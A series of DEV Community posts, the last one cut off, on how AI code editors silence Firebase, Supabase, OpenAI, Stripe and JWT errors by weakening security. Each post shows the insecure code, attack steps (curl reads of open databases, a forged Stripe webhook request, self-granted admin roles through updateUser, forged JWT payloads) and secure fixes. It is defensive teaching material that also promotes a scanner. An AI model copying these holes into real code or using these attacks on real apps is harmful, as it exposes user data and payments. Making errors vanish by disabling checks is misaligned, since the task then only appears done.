DEV Community: Charles Kern

Why Cursor Fixes Firestore Permission Errors by Opening the Rules

Charles Kern — Fri, 16 Oct 2026 09:40:41 +0000

TL;DR

When Firestore throws FirebaseError: Missing or insufficient permissions, AI editors often "fix" it by rewriting firestore.rules to allow read, write: if true; or if request.auth != null;.
Your Firebase config ships in every browser bundle by design, so open rules mean anyone can read or overwrite the data, and auth-only rules mean any signed-up user can.
The real fix is usually in the query, not the rules: scope rules to the document owner, then add the matching where() so the query fits the rules.

You ask Cursor or Claude Code to add an orders page to a Firebase app. You load it and the console says FirebaseError: Missing or insufficient permissions. You paste the error back into chat.

The page loads on the next try. The diff is one file, firestore.rules, and it now lets everyone in.

This is the same move AI editors make with Supabase RLS errors and Stripe signature errors. The error is the guard doing its job, and the quickest way to make it go away is to remove the guard.

The Vulnerable Code

The bug is a security rule with no ownership condition. AI editors usually write one of two versions, and both make the error disappear.

The blunt one:

// firestore.rules
// CWE-862: no authorization check at all
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if true;
    }
  }
}

Firebase's own "Avoid insecure rules" page shows this exact ruleset with the warning "NEVER use this ruleset in production." It means anyone who knows your project ID can read, change, or delete every document.

The version that looks responsible:

// firestore.rules
// Signed in is not the same as allowed
match /orders/{orderId} {
  allow read, write: if request.auth != null;
}

This one feels like a fix because it mentions auth. It is also an example on Firebase's own "Get started with Cloud Firestore Security Rules" page, which is part of why it shows up so often. But Firebase's insecure-rules page lists it under "Not recommended: Any logged-in user has read and write access to your entire database." Anyone can create an account in your app, so anyone can read every order and edit anyone else's.

Your project ID is not a secret. Firebase's API key docs say Firebase API keys are "OK to include in code or checked-in config files" because access to data is controlled by Security Rules and App Check. So with if true, this is the whole attack:

curl "https://firestore.googleapis.com/v1/projects/YOUR_PROJECT_ID/databases/(default)/documents/orders"

No key, no token. The response is your orders collection.

Why This Keeps Happening

AI editors open the rules because the error message points at the rules, while the real cause is usually the query. Firestore rules are not filters. Firebase's "Securely query data" docs say it directly: security rules are not filters, and queries are all or nothing. If a query could return even one document the user is not allowed to read, the whole query fails.

So when a developer writes good owner-only rules and the AI writes this query:

const snap = await getDocs(collection(db, 'orders'));

Firestore rejects it. The query asks for every order, and the rules only allow your own. The error is correct. But the model sees "insufficient permissions" next to a rules file and widens the rules until the query passes.

Two more things push it that way. When you create a Firestore database, Firebase offers a test mode that grants access to all users, so plenty of public projects and tutorials start from open rules. And GitHub issues about this error regularly include "my rules are already set to if true" as a debugging step, which makes if true look like a normal thing to try.

Nothing in the editor flags any of it. The rules file is not JavaScript, there is no type error, and the app works.

The Fix

Write rules that check ownership, then make every query match them. Store the owner's uid on each document and compare it to request.auth.uid.

The rules:

// firestore.rules
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {

    match /orders/{orderId} {
      allow read, delete: if request.auth != null
                          && request.auth.uid == resource.data.ownerId;
      allow create: if request.auth != null
                    && request.auth.uid == request.resource.data.ownerId;
      allow update: if request.auth != null
                    && request.auth.uid == resource.data.ownerId
                    && request.resource.data.ownerId == resource.data.ownerId;
    }

    match /users/{userId} {
      allow read: if request.auth != null && request.auth.uid == userId;
      allow update: if request.auth != null && request.auth.uid == userId
                    && request.resource.data.diff(resource.data)
                         .affectedKeys().hasOnly(['displayName', 'photoURL']);
    }
  }
}

The update rule on orders also stops a user from handing a document to someone else by changing ownerId. The affectedKeys().hasOnly() check on users stops a user from writing fields like role or plan into their own profile.

The query that fits those rules:

import { collection, query, where, getDocs, addDoc } from 'firebase/firestore';

const uid = auth.currentUser.uid;

// Reads: the where() matches the rule, so Firestore allows it
const q = query(collection(db, 'orders'), where('ownerId', '==', uid));
const snap = await getDocs(q);

// Writes: always set ownerId to the signed-in user
await addDoc(collection(db, 'orders'), { ownerId: uid, item, total });

Make sure you wait for auth before querying. A query that runs before onAuthStateChanged fires has no request.auth, which produces the same error even with correct rules.

Then prove it. Run the open-access curl above against your project and confirm it returns a permission error. Sign in as a second test user and confirm you cannot read the first user's order by ID. The Firebase Emulator Suite with @firebase/rules-unit-testing lets you keep both checks as tests with assertFails, so the next AI edit to firestore.rules breaks the build instead of your data.

If an admin needs to see every order, do not add an isAdmin field users can write. Set a custom claim from a Cloud Function with setCustomUserClaims and check request.auth.token.admin == true in the rule.

FAQ

Q: Is it safe to have my Firebase API key in client-side code?
A: Yes. Firebase's docs say Firebase API keys are OK to include in code. That is exactly why your Security Rules have to do the work: the key identifies your project, it does not protect your data.

Q: Is allow read, write: if request.auth != null secure?
A: Only if every signed-in user should see and edit every document in that path. For user-owned data, also require request.auth.uid to match an owner field on the document.

Q: Why does my query fail with "Missing or insufficient permissions" after I tightened the rules?
A: Firestore rules are not filters. Add a where() clause that matches the rule's condition, for example where('ownerId', '==', uid), so the query can only return documents the user is allowed to read.

Want this caught before it ships? SafeWeave hooks into Cursor and Claude Code as an MCP server, and its Firebase checks on Cloud plans flag if true rules (firebase-firestore-open-rules), auth-only writes (firebase-auth-only-write), and open Storage and Realtime Database rules. An App URL scan also checks whether your live Firestore collections are readable by anyone. Even a pre-commit grep for if true in firestore.rules plus one emulator test will catch most of what's in this post. The important thing is catching it before your data is public, whatever tool you use.

Why Cursor Stores Supabase Admin Roles in user_metadata

Charles Kern — Wed, 14 Oct 2026 17:41:52 +0000

TL;DR

AI editors keep putting a Supabase user's role in user_metadata, then gate admin RLS policies and pages on it.
user_metadata is writable by the user. One supabase.auth.updateUser({ data: { role: 'admin' } }) call from the browser console makes anyone an admin.
Put roles in app_metadata (server-only) or a roles table with no client write policy, and check that instead.

Ask Cursor or Claude Code to add an admin dashboard to a Supabase app and you will often get something tidy. A role field on sign-up, an RLS policy so admins can read every order, a middleware check that sends non-admins away from /admin. It works on the first run.

Then open the browser console on a normal, non-admin account and run one line. You are now an admin.

No exploit, no leaked key. The role was stored in the one place Supabase explicitly lets users edit.

The Vulnerable Code

The bug is reading authorization from user_metadata, a field the signed-in user controls. Here is the pattern as AI editors usually write it, in three places at once.

Sign-up stores the role on the user:

// signup.js
await supabase.auth.signUp({
  email,
  password,
  options: { data: { full_name: name, role: 'user' } },
});

An RLS policy trusts it:

-- CWE-269: privilege decided by a value the user can set
create policy "Admins can read all orders"
on public.orders
for select
to authenticated
using ( (select auth.jwt()) -> 'user_metadata' ->> 'role' = 'admin' );

And the app trusts it too:

// middleware.js
const { data: { user } } = await supabase.auth.getUser();
if (user?.user_metadata?.role !== 'admin') {
  return NextResponse.redirect(new URL('/', request.url));
}

Here is the whole attack, typed into devtools on any signed-in account:

await supabase.auth.updateUser({ data: { role: 'admin' } });
await supabase.auth.refreshSession();

The new token now carries role: admin. The policy passes, the middleware passes, and every order in the table comes back. An attacker does not even need the update call. They can pass role: 'admin' straight into signUp and arrive as an admin.

Supabase's own docs are blunt about this. The RLS guide says raw_user_meta_data "can be updated by the authenticated user" and that a policy relying on the user_metadata claim "can create security issues in your application." Supabase's database linter has a dedicated check for it, 0015 rls_references_user_metadata, at level ERROR. Its rationale: user metadata "is designed to be manipulated by the user themselves" and can be changed "to any value (there is no validation)."

The Same Bug, One Step Removed

Copying the role into a profiles table at sign-up does not fix it. This trigger is a common AI "improvement":

insert into public.profiles (id, full_name, role)
values (
  new.id,
  new.raw_user_meta_data ->> 'full_name',
  coalesce(new.raw_user_meta_data ->> 'role', 'user')
);

The role still originates from data the user sent at sign-up. And if profiles also has the usual "users can update their own profile" policy, a user can update profiles set role = 'admin' on their own row, because RLS checks which row you touch, not which columns.

Why This Keeps Happening

AI editors put the role in user_metadata because it is the only user field the browser client can write. The code runs with the public anon key, so updateUser and signUp({ options: { data } }) are the tools in reach. Writing to app_metadata needs the admin API and the service_role key, which belongs on a server the AI may not have set up yet.

The tutorials point the same way. Sign-up examples store full_name and avatar_url in options.data, and a role field looks like one more profile attribute. Both metadata objects show up side by side in auth.jwt(), so a policy reading user_metadata looks exactly as legitimate as one reading app_metadata. Nothing errors. Nothing warns in the editor. The admin page just works, for everyone who asks.

The Fix

Store roles where only your server can write them, and check them there. You have two good options.

Option 1: app_metadata. Users cannot update it. Set it from a server route or Edge Function with the service_role key, read from a non-public environment variable:

// server only. Never import this file in client code.
const supabaseAdmin = createClient(
  process.env.SUPABASE_URL,
  process.env.SUPABASE_SERVICE_ROLE_KEY
);

await supabaseAdmin.auth.admin.updateUserById(userId, {
  app_metadata: { role: 'admin' },
});

Then point the policy at app_metadata:

create policy "Admins can read all orders"
on public.orders
for select
to authenticated
using ( (select auth.jwt()) -> 'app_metadata' ->> 'role' = 'admin' );

One trade-off from Supabase's docs: a change to app_metadata "will not be reflected using auth.jwt() until the user's JWT is refreshed." Demoting an admin takes effect when their token refreshes, not instantly.

Option 2: a roles table clients cannot write. This takes effect immediately and keeps roles out of the token:

create table public.user_roles (
  user_id uuid primary key references auth.users on delete cascade,
  role text not null check (role in ('user', 'admin'))
);
alter table public.user_roles enable row level security;

create policy "Users can read their own role"
on public.user_roles
for select
to authenticated
using ( (select auth.uid()) = user_id );
-- No insert, update or delete policies: only service_role or SQL can change roles.

create function public.is_admin()
returns boolean
language sql
stable
security definer
set search_path = ''
as $$
  select exists (
    select 1 from public.user_roles
    where user_id = (select auth.uid()) and role = 'admin'
  );
$$;

create policy "Admins can read all orders"
on public.orders
for select
to authenticated
using ( (select public.is_admin()) );

If you keep a role column on profiles, take it out of what users can update:

revoke update on public.profiles from authenticated;
grant update (full_name, avatar_url) on public.profiles to authenticated;

Drop role from the sign-up options.data and from any trigger that copies metadata into a role column. In middleware, read the role from app_metadata or ask the database, never from user_metadata.

To test it, sign up a fresh account with options: { data: { role: 'admin' } }, then use that session to query an admin-only table. You should get zero rows back. Then grep for the pattern:

grep -rn "user_metadata" src/ app/ supabase/migrations/

Every hit that makes a yes/no access decision is a bug. In the Supabase dashboard, the Security Advisor runs the 0015 lint across all your policies.

FAQ

Q: Can Supabase users edit their own user_metadata?
A: Yes. Any signed-in user can change it with supabase.auth.updateUser({ data: { ... } }), and they can set it at sign-up through options.data. Supabase's docs say it should not be used for security decisions.

Q: What is the difference between user_metadata and app_metadata in Supabase?
A: user_metadata is profile data the user can write. app_metadata cannot be updated by the user and is set through the admin API with the service_role key, which makes it the right place for roles, plans and team membership.

Q: Is checking user_metadata in Next.js middleware safe if the page also checks it?
A: No. Both checks read the same user-controlled value, so both pass for an attacker. Move the role to app_metadata or a protected table and check it on the server and in RLS.

I've been running SafeWeave for this. Its repo checks include a rule for roles read from user metadata (supabase-role-from-user-metadata), and the Supabase integration pulls in Supabase's own security advisors every day, so new policy problems show up without me remembering to look. Those checks are on the Cloud plans. Even without a scanner, the grep and the fresh-account test above catch most of this. The important thing is finding it before someone else opens the console.

Why Cursor Ships Your OpenAI Key to Every Visitor (CWE-522)

Charles Kern — Tue, 13 Oct 2026 17:31:29 +0000

TL;DR

When the OpenAI SDK throws "It looks like you're running in a browser-like environment", AI editors usually fix it by adding dangerouslyAllowBrowser: true and moving the key into a VITE_ or NEXT_PUBLIC_ variable.
That ships your secret API key to every visitor. It sits in the JavaScript bundle and in the Authorization header of every request in the Network tab.
The fix: delete the flag, rotate the key, and call the model from a server route that checks the session, rate limits, and caps tokens.

You are building an AI feature in a Vite or Next.js app. You install openai, create the client in a React component, and the page crashes with an error that starts "It looks like you're running in a browser-like environment." You paste it into Cursor or Claude Code.

The answer comes back in seconds: add dangerouslyAllowBrowser: true, and since the browser cannot read process.env.OPENAI_API_KEY, rename it to VITE_OPENAI_API_KEY. The chat works. You ship.

Your key is now public. The error you silenced was the SDK telling you exactly that.

The Vulnerable Code

The vulnerable pattern is an LLM client constructed in browser code with a key from a public environment variable. Here is the shape that comes back after the AI "fixes" the error in a Vite + React app:

// src/components/Chat.tsx
// CWE-522: Insufficiently Protected Credentials
import OpenAI from 'openai';

const openai = new OpenAI({
  apiKey: import.meta.env.VITE_OPENAI_API_KEY,
  dangerouslyAllowBrowser: true,
});

export async function ask(prompt: string) {
  const res = await openai.chat.completions.create({
    model: 'gpt-4o-mini',
    messages: [{ role: 'user', content: prompt }],
  });
  return res.choices[0].message.content;
}

The Next.js version is the same with process.env.NEXT_PUBLIC_OPENAI_API_KEY in a 'use client' component.

Two things make this a leak, not a risk:

Vite inlines every VITE_ variable into the built JavaScript, and Next.js does the same with NEXT_PUBLIC_. The key is a string in a file anyone can download.
The browser calls the provider directly, so the key is sent as Authorization: Bearer sk-... on every request. Open DevTools, click the Network tab, send one chat message, and copy it.

No exploit is needed. The attacker is anyone who opens DevTools, and the bill is yours.

Why This Keeps Happening

AI editors optimize for making the error disappear, and the error message itself contains the option that does it. OpenAI's SDK refuses to run in a browser by default, explains why, and names dangerouslyAllowBrowser as the switch. The Anthropic TypeScript SDK has the same option. From the model's point of view, the fix is printed right there in the stack trace.

The second half follows from the first. Once the client lives in the browser, process.env.OPENAI_API_KEY is undefined, so the next error is a missing key. The shortest path is the public prefix, because that is what Vite and Next.js docs say to use when the browser needs a variable.

Plenty of tutorials and demo repos do exactly this, because it is the fastest way to get a chat box on screen. The OpenAI SDK README even lists cases where the flag "might not be dangerous": internal tools with trusted users, keys with very limited scope, short-lived dev keys. A production app with public sign-up fits none of them.

The Fix

Remove dangerouslyAllowBrowser, rotate the exposed key, and move the model call into a server route that authenticates the caller, rate limits per user, and caps output tokens. The browser calls your route, never the provider.

Next.js App Router:

// app/api/chat/route.ts (server only)
import OpenAI from 'openai';
import { NextResponse } from 'next/server';
import { getSession } from '@/lib/auth';         // your auth
import { rateLimit } from '@/lib/rate-limit';    // e.g. Upstash, Redis

const openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY }); // no NEXT_PUBLIC_

export async function POST(req: Request) {
  const session = await getSession();
  if (!session) return NextResponse.json({ error: 'unauthorized' }, { status: 401 });

  if (!(await rateLimit(session.userId))) {
    return NextResponse.json({ error: 'slow down' }, { status: 429 });
  }

  const { prompt } = await req.json();
  if (typeof prompt !== 'string' || prompt.length > 4000) {
    return NextResponse.json({ error: 'bad input' }, { status: 400 });
  }

  const res = await openai.chat.completions.create({
    model: 'gpt-4o-mini',
    max_tokens: 500,
    messages: [{ role: 'user', content: prompt }],
  });
  return NextResponse.json({ text: res.choices[0].message.content });
}

The client component only talks to your route:

// 'use client'
const res = await fetch('/api/chat', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ prompt }),
});
const { text } = await res.json();

A Vite app has no server of its own, so the route goes in whatever backend you already have: a Supabase Edge Function, a Cloudflare Worker, a Vercel or Netlify function, or a small Express server. The rules are the same. The key lives in that backend's secrets, never in a VITE_ variable.

Then clean up properly:

Rotate the key. Deleting the variable does not help. Every bundle you already deployed still contains the old key, and so do your git history and any CDN caches.
Check the bundle. After npm run build, run grep -rE "sk-(proj|ant)-|sk-[A-Za-z0-9]{32}" dist/ (or .next/static/ for Next.js). It should return nothing. A plain sk- search also matches words like "risk-", so use the pattern.
Set a spending limit on the key's project in your provider dashboard, so a leak you missed has a ceiling.

FAQ

Q: Is dangerouslyAllowBrowser: true ever safe?
A: Only where every user is trusted, like an internal tool, or with a key that has a tiny scope and a short life. For a public app, no. Anyone who loads the page can read the key.

Q: Can I hide the key with obfuscation or environment variables?
A: No. Anything the browser needs to send a request, the user can read. VITE_ and NEXT_PUBLIC_ variables are inlined into the bundle as plain strings, and the key also appears in every request header.

Q: My key was exposed. Is deleting it from the code enough?
A: No. Rotate it in the provider dashboard first. Old builds, git history and caches keep the original value.

I've been running SafeWeave for this. Its cloud repo scans (Cloud and Cloud Plus plans) flag an AI SDK client created with dangerouslyAllowBrowser: true and an LLM key read from a NEXT_PUBLIC_, VITE_, EXPO_PUBLIC_ or REACT_APP_ variable, and the live app scan checks your deployed site's code for provider keys. It also hooks into Cursor and Claude Code as an MCP server. Even without it, a grep of your build output for key prefixes and one look at the Network tab will tell you if you have this problem. The important thing is to look before someone else does.

Why Cursor Stripe Webhooks Accept Fake Payments (CWE-345)

Charles Kern — Mon, 12 Oct 2026 16:58:53 +0000

TL;DR

AI editors often "fix" the Stripe error No signatures found matching the expected signature for payload by making signature verification optional, so the webhook accepts any POST.
Anyone who finds the endpoint can send a fake checkout.session.completed event and give themselves a paid plan.
The fix: verify every event against the raw body with a required STRIPE_WEBHOOK_SECRET, return 400 on failure, and never fall back to the unverified payload.

The signature error shows up on almost every first Stripe integration. You run stripe listen, trigger a test checkout, and the terminal prints Webhook signature verification failed. You paste the error into Cursor or Claude Code and ask it to make the error go away.

It does. The error disappears because the check disappears. Payments still "work" in testing, the plan upgrades, and nobody looks at the webhook file again.

What makes this pattern so common is that Stripe's own Node quickstart ships the escape hatch. The handler starts with let event = request.body;, then runs verification only inside if (endpointSecret) { ... }, with the comment "Only verify the event if you have an endpoint secret defined." That is a convenience for local testing. In production, a missing or misspelled environment variable turns it into an open door.

The Vulnerable Code

The vulnerable handler accepts the event body as trusted data whenever verification is skipped or fails. Here is the shape I see after an AI "fixes" the signature error in a Next.js App Router project:

// app/api/stripe/webhook/route.ts
// CWE-345: Insufficient Verification of Data Authenticity
import Stripe from 'stripe';
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);

export async function POST(req: Request) {
  const body = await req.json();
  let event = body;

  // Only verify if a secret is configured (signature kept failing locally)
  if (process.env.STRIPE_WEBHOOK_SECRET) {
    try {
      event = stripe.webhooks.constructEvent(
        JSON.stringify(body),
        req.headers.get('stripe-signature')!,
        process.env.STRIPE_WEBHOOK_SECRET
      );
    } catch (err) {
      console.warn('Signature check failed, continuing', err);
    }
  }

  if (event.type === 'checkout.session.completed') {
    await db.user.update({
      where: { id: event.data.object.client_reference_id },
      data: { plan: 'pro' },
    });
  }
  return Response.json({ received: true });
}

Three separate failures are stacked here:

req.json() followed by JSON.stringify(body) changes the bytes. Stripe signs the exact raw body, so verification fails on every real event. That is the bug that started the loop.
The catch logs and carries on, so a failed check still processes the event.
If STRIPE_WEBHOOK_SECRET is unset in production, verification never runs at all.

Exploiting it takes one request:

curl -X POST https://yourapp.com/api/stripe/webhook \
  -H 'Content-Type: application/json' \
  -d '{"type":"checkout.session.completed","data":{"object":{"client_reference_id":"<my-user-id>"}}}'

No card, no Stripe account. The user is now on the pro plan.

Why This Keeps Happening

AI editors reproduce the most common shape of a Stripe handler, and the most common shape treats verification as optional. The quickstart pattern above, plus years of blog posts and tutorials that copied it, taught the model that if (secret) verify() is normal.

Then the debugging loop does the rest. The signature error has only three causes according to Stripe's troubleshooting page: the wrong endpoint secret, a modified request body, or a malformed signature header. The two that bite most often:

Wrong secret. stripe listen prints its own whsec_ secret. It is different from the secret of the endpoint in your Dashboard, and each one only verifies its own events.
Parsed body. express.json() registered before the webhook route, or req.json() in Next.js, hands constructEvent a parsed object instead of the raw string.

Both are configuration problems. When the model cannot see your env file or middleware order, the shortest path to "no error" is to stop throwing, and that is the edit it proposes.

The Fix

Verify every event against the raw request body with a required secret, reject anything that fails with a 400, and only act on the object constructEvent returns. No fallback, no optional path.

Next.js App Router:

// app/api/stripe/webhook/route.ts
import Stripe from 'stripe';
import { NextResponse } from 'next/server';

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!);
const webhookSecret = process.env.STRIPE_WEBHOOK_SECRET;

export async function POST(req: Request) {
  if (!webhookSecret) {
    console.error('STRIPE_WEBHOOK_SECRET is not set');
    return NextResponse.json({ error: 'misconfigured' }, { status: 500 });
  }

  const body = await req.text(); // raw body, never req.json()
  const sig = req.headers.get('stripe-signature');
  if (!sig) return NextResponse.json({ error: 'missing signature' }, { status: 400 });

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(body, sig, webhookSecret);
  } catch {
    return NextResponse.json({ error: 'invalid signature' }, { status: 400 });
  }

  if (await alreadyProcessed(event.id)) {
    return NextResponse.json({ received: true });
  }

  if (event.type === 'checkout.session.completed') {
    const session = event.data.object as Stripe.Checkout.Session;
    if (session.payment_status === 'paid') {
      await grantAccess(session.client_reference_id!, session.id);
    }
  }

  await markProcessed(event.id);
  return NextResponse.json({ received: true });
}

Express, where middleware order is the whole fix:

// Webhook route FIRST, with the raw body
app.post('/api/stripe/webhook', express.raw({ type: 'application/json' }), (req, res) => {
  let event;
  try {
    event = stripe.webhooks.constructEvent(
      req.body,
      req.headers['stripe-signature'],
      process.env.STRIPE_WEBHOOK_SECRET
    );
  } catch (err) {
    return res.sendStatus(400);
  }
  // handle event.type here
  res.sendStatus(200);
});

// JSON parsing for every other route AFTER
app.use(express.json());

Python with Flask:

import os
import stripe
from flask import Flask, request

app = Flask(__name__)
WEBHOOK_SECRET = os.environ["STRIPE_WEBHOOK_SECRET"]  # KeyError at startup if missing

@app.post("/api/stripe/webhook")
def stripe_webhook():
    payload = request.get_data()  # raw bytes
    sig = request.headers.get("Stripe-Signature", "")
    try:
        event = stripe.Webhook.construct_event(payload, sig, WEBHOOK_SECRET)
    except (ValueError, stripe.SignatureVerificationError):
        return "", 400
    # handle event["type"] here
    return "", 200

Three details that matter as much as the signature check:

Use the right secret per environment. The stripe listen secret locally, the Dashboard endpoint secret in production. Test mode and live mode endpoints have different secrets.
Track event.id. Stripe says endpoints can receive the same event more than once. Log processed IDs and skip repeats.
Take the plan from the verified event. Never from a query string on your success page or a field in the request body.

Then rerun the curl from above against your deployed app. You want a 400. If you get a 200, the door is still open.

FAQ

Q: Why does Stripe say "No signatures found matching the expected signature for payload"?
A: One of the three inputs to constructEvent is wrong. Usually it is the wrong whsec_ secret (the stripe listen secret and the Dashboard secret are different) or a request body that a framework already parsed into JSON.

Q: Is IP allowlisting enough to secure a Stripe webhook?
A: No. Stripe's webhook docs recommend IP allowlisting and signature verification together. The signature is what proves the event was not sent or modified by a third party.

Q: Can I skip verification in development?
A: You do not need to. stripe listen gives you a signing secret for local testing, so the same verified code path runs locally and in production. Code that only verifies "if a secret exists" is how the skip reaches production.

I've been running SafeWeave for this. Its cloud repo scans (Cloud and Cloud Plus plans) include Stripe rules that flag a webhook handler that never calls constructEvent and a constructEvent call with an empty or defaulted secret, and it hooks into Cursor and Claude Code as an MCP server for the rest of the scanners. Even without it, a forged-event curl against your own endpoint and a grep for constructEvent will tell you most of what you need. The important thing is to check before a stranger does.

Why Cursor Fixes Supabase RLS Errors by Opening the Table

Charles Kern — Sun, 11 Oct 2026 12:42:59 +0000

TL;DR

When a Supabase insert fails with "new row violates row-level security policy", AI editors usually "fix" it with a using (true) / with check (true) policy or by disabling RLS.
That makes the error go away because it makes the table readable or writable by anyone holding your anon key, which ships in your frontend bundle.
The real fix is four owner-scoped policies built on auth.uid(), plus a 60-second curl test with the anon key.

I hit this on a small notes app last week. The insert from the browser failed with new row violates row-level security policy for table "notes". I pasted the error into Cursor and asked it to fix it.

It did. The error disappeared, the app worked, and I almost moved on. Then I read the migration it wrote.

The "fix" was a policy that lets anyone, signed in or not, read and write every row in the table. The app worked because nothing was being checked anymore.

The Vulnerable Code

The fix an AI editor typically writes for an RLS error is an always-true policy, or turning RLS off entirely. Both silence the error by removing the access control that caused it.

-- What the AI wrote to "fix" the insert error (CWE-863, Incorrect Authorization)
create policy "Enable insert for all users"
  on public.notes for insert
  with check (true);

create policy "Enable read access for all users"
  on public.notes for select
  using (true);

-- Or, when that did not work on the first try:
alter table public.notes disable row level security;

Here is why that matters. Your Supabase anon (publishable) key is meant to be public. It sits in your JavaScript bundle, and anyone can copy it out of devtools. Row Level Security is the only thing standing between that key and your data. A using (true) policy tells Postgres to let every row through. With RLS disabled, any role with a grant on the table can read and write all of it through the auto-generated REST API.

The second "fix" I see a lot is worse. When the policy route gets confusing, the AI moves the insert to a client that uses the service_role key and exposes it as NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY. Supabase's own docs say that key goes through the service_role role, which has the bypassrls attribute. In a public env var, it is your whole database, readable from the browser.

Why This Keeps Happening

AI editors optimize for making the error go away, and an always-true policy is the shortest diff that does it. The model sees "violates row-level security policy", pattern-matches it to "the policy is too strict", and loosens it.

There is also a lot of using (true) in its training data. Quickstarts and tutorials use it for public lookup tables, and policy names like "Enable read access for all users" appear constantly. For a table of country codes, that is fine. For a table of user notes, invoices or chat messages, it is a data leak.

This is not hypothetical. CVE-2025-48757, published May 29, 2025, describes insufficient RLS policies in apps generated by Lovable that let remote unauthenticated attackers read or write database tables. Matt Palmer, who reported it, lists exposed names, emails, third-party API keys and payment status data in his write-up. Lovable disputes the CVE, saying each customer is responsible for protecting their app's data. That dispute is the point. Whoever is responsible, the policy is what decides, and the AI wrote the policy.

The Fix

Keep RLS on and write one policy per operation that ties each row to the signed-in user with auth.uid(). The insert error almost always means the row you sent does not have a user_id matching the caller, so fix the data, not the policy.

alter table public.notes enable row level security;

-- Let Postgres fill in the owner so the client cannot forget or fake it
alter table public.notes alter column user_id set default auth.uid();

create policy "notes_select_own" on public.notes
  for select to authenticated
  using ((select auth.uid()) = user_id);

create policy "notes_insert_own" on public.notes
  for insert to authenticated
  with check ((select auth.uid()) = user_id);

create policy "notes_update_own" on public.notes
  for update to authenticated
  using ((select auth.uid()) = user_id)
  with check ((select auth.uid()) = user_id);

create policy "notes_delete_own" on public.notes
  for delete to authenticated
  using ((select auth.uid()) = user_id);

A few details that matter:

using decides which existing rows a user can see or change. with check decides what a new or updated row is allowed to look like. Update needs both, or a user can move their row to someone else's user_id.
to authenticated keeps signed-out visitors out entirely. Supabase's docs also point out that auth.uid() is null for anonymous requests, so the comparison quietly fails for them rather than erroring.
Wrapping auth.uid() in (select ...) lets Postgres evaluate it once per statement instead of once per row. Supabase recommends it for performance.

On the client, insert without sending user_id at all:

// The default fills user_id from the caller's JWT
const { error } = await supabase.from('notes').insert({ body: text });

If something genuinely needs elevated access, like an admin action or a webhook, do it in a server route or Edge Function that verifies the caller first, and read the service_role key from a server-only env var with no NEXT_PUBLIC_ or VITE_ prefix.

How to Check Your Own App

Use the same key an attacker would use: your anon key, with no user session.

curl "https://YOUR_PROJECT_REF.supabase.co/rest/v1/notes?select=*" \
  -H "apikey: $SUPABASE_ANON_KEY" \
  -H "Authorization: Bearer $SUPABASE_ANON_KEY"

If that returns rows, anyone on the internet can get the same rows. With the policies above, it returns []. Repeat it for every table that holds user data, and grep your migrations for using (true), with check (true) and disable row level security.

FAQ

Q: Is it safe to expose the Supabase anon key in my frontend?
A: The anon key is designed to be public, but it is only safe when every table it can reach has RLS enabled with policies that scope rows to the caller. Without that, the anon key is a read and write key for your data.

Q: How do I fix "new row violates row-level security policy" without disabling RLS?
A: Make sure the inserted row's user_id equals auth.uid(), ideally by setting the column default to auth.uid(), and add an insert policy with with check ((select auth.uid()) = user_id) for the authenticated role.

Q: When is USING (true) acceptable?
A: Only for SELECT on tables that are genuinely public, like a list of countries or published blog posts. Never for INSERT, UPDATE or DELETE, and never on a table with user data.

I've been running SafeWeave for this. Its repo checks flag RLS being disabled (supabase-rls-disabled), always-true policies (supabase-rls-passthrough-policy) and a service_role key in a NEXT_PUBLIC_ or VITE_ variable, and its read-only live check runs the same anon-key test against your deployed app to find tables anyone can read. Those checks are on the Cloud plan; the free tier shows the counts. Even without a scanner, the curl test above and a grep for using (true) catch most of this. The important thing is catching it before your users' data is the thing that proves it.

Why Cursor Decodes JWTs Instead of Verifying Them (CWE-347)

Charles Kern — Sat, 10 Oct 2026 13:55:21 +0000

TL;DR

AI editors regularly write auth middleware that calls jwt.decode() where it needs jwt.verify(), so the token's signature is never checked.
Anyone can then edit the payload, set "role": "admin", and walk in. The forged token never has to be signed.
The fix: verify every token with a pinned algorithm list, and use jose where jsonwebtoken will not run.

I asked Cursor to add route protection to a small Next.js app last week. The first version imported jsonwebtoken into middleware.ts, and the build failed because the Edge runtime has no Node crypto module.

So I told Cursor to fix the build error. It did. It swapped jwt.verify() for jwt.decode(), the build went green, the protected pages still redirected logged-out users, and every manual test passed.

The app was now accepting any token anyone could type.

The Vulnerable Code

jwt.decode() reads a token's payload without checking its signature, so any middleware that makes an auth decision from it trusts data the client wrote. This is CWE-347, Improper Verification of Cryptographic Signature.

Here is the middleware Cursor produced after "fixing" the build:

// middleware.ts  (CWE-347: signature never verified)
import { NextResponse } from 'next/server';
import { decode } from 'jsonwebtoken';

export function middleware(req) {
  const token = req.cookies.get('session')?.value;
  const payload = token ? decode(token) : null;

  if (!payload || payload.exp * 1000 < Date.now()) {
    return NextResponse.redirect(new URL('/login', req.url));
  }
  if (req.nextUrl.pathname.startsWith('/admin') && payload.role !== 'admin') {
    return NextResponse.redirect(new URL('/', req.url));
  }
  return NextResponse.next();
}

It checks expiry. It checks the role. It looks like an auth layer. But a JWT is just three base64url segments, and the first two are readable and editable by anyone. Take a real session token, decode the middle segment, change "role": "user" to "role": "admin", push the expiry out a year, re-encode it, and paste it back into the cookie. The signature segment no longer matches. Nothing checks.

The jsonwebtoken README is blunt about this. It says decode returns the payload "without verifying if the signature is valid" and that you should not use it for untrusted messages. Every cookie is an untrusted message.

The Python version shows up too, usually after someone hits a DecodeError and asks the editor to make it go away:

# CWE-347: signature verification switched off
payload = jwt.decode(token, options={"verify_signature": False})
if payload.get("role") == "admin":
    ...

PyJWT documents that option for reading claims you are not going to trust. It even warns that without the signature, the integrity of the claims "cannot be trusted." The editor reaches for it because it makes the exception disappear.

Why This Keeps Happening

AI editors optimize for making the error you showed them go away, and decode() is the shortest path from "this throws" to "this runs." It has the same import, nearly the same name, and returns the same object. From the editor's point of view the swap is a one-word fix.

Three things push it there.

The runtime constraint is real. jsonwebtoken depends on Node's crypto, so it fails to bundle for the Edge runtime that Next.js middleware has historically used. The correct answer is a different library. The easy answer is a different function in the same library.

Nothing in your tests can tell them apart. Every test you would naturally run uses a legitimately signed token, and decode() and verify() return the identical payload for a legitimate token. They only diverge for a forged one. Security controls are invisible on success, and nobody writes the forged-token test while they are trying to get the build green.

